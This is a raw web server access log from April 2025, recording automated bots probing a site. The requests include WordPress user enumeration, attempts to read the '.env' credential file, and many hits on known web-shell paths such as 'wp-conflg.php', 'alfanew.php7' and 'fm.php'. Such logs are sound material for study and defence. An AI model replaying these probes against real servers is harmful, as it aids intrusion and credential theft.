Firefox/114.0" 16.16.74.242 - - [06/Apr/2025:20:19:29 -0400] "HEAD /wordpress/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 16.16.74.242 - - [06/Apr/2025:20:19:30 -0400] "HEAD /wp/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 16.16.74.242 - - [06/Apr/2025:20:19:31 -0400] "HEAD /blog/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" 16.16.74.242 - - [06/Apr/2025:20:19:31 -0400] "HEAD /test/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 16.16.74.242 - - [06/Apr/2025:20:19:32 -0400] "HEAD /test1/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:114.0) Gecko/20100101 Firefox/114.0" 16.16.74.242 - - [06/Apr/2025:20:19:32 -0400] "HEAD /WP/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:114.0) Gecko/20100101 Firefox/114.0" 16.16.74.242 - - [06/Apr/2025:20:19:33 -0400] "HEAD /2025/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 37.19.223.122 - - [06/Apr/2025:20:32:04 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 196.251.85.190 - - [06/Apr/2025:21:09:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:09 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:15 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:20 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:26 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:31 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:37 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:42 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:45 -0400] "GET /wp-includes/rest-api/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:48 -0400] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:11:52 -0400] "GET /wp-includes/widgets/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:01 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:06 -0400] "GET /wp-includes/block-patterns/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:12 -0400] "GET /wp-includes/block-supports/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:17 -0400] "GET /wp-includes/assets/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:21 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:26 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:30 -0400] "GET /wp-includes/random_compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:40 -0400] "GET /wp-includes/Requests/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:47 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:54 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:12:59 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Core32.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:04 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:07 -0400] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:13 -0400] "GET /as/function HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:21 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:26 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:31 -0400] "GET /doc/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:37 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:43 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:50 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:55 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:13:59 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:07 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:14 -0400] "GET /wp-includes/PHPMailer//zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:21 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:26 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:31 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:39 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:14:47 -0400] "GET /wp-admin/css/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:02 -0400] "GET /wp-admin/js/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:08 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:17 -0400] "GET /wp-includes/style-engine/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:24 -0400] "GET /wp-includes/certificates/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:35 -0400] "GET /wp-includes/block-patterns/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:42 -0400] "GET /wp-content/uploads/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:51 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:15:55 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:02 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:07 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:13 -0400] "GET /wp-includes/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:21 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:27 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:36 -0400] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:21:16:41 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.97.132.59 - - [06/Apr/2025:21:29:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 216.244.66.236 - - [06/Apr/2025:21:50:15 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 64.23.162.105 - - [06/Apr/2025:22:42:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 117.62.235.53 - - [06/Apr/2025:23:17:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.225.32.159 - - [07/Apr/2025:00:25:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.127.92.25 - - [07/Apr/2025:03:04:12 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.127.92.25 - - [07/Apr/2025:03:04:14 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 170.106.192.3 - - [07/Apr/2025:03:10:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.206.122.170 - - [07/Apr/2025:03:19:35 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:19:43 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:19:45 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:19:47 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:19:50 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:19:53 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:19:56 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:20:00 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:20:06 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:03:20:12 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 35.222.20.5 - - [07/Apr/2025:04:52:24 -0400] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 35.222.20.5 - - [07/Apr/2025:04:52:27 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 13.82.176.166 - - [07/Apr/2025:05:16:50 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:51 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:52 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:53 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:53 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:56 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:58 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:16:59 -0400] "GET /wp-content/plugins/zxmunes/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:00 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:00 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:00 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:01 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:02 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:02 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:03 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:04 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:05 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:06 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:06 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:07 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:08 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:08 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:09 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:10 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:12 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:13 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:14 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:15 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:17:15 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - 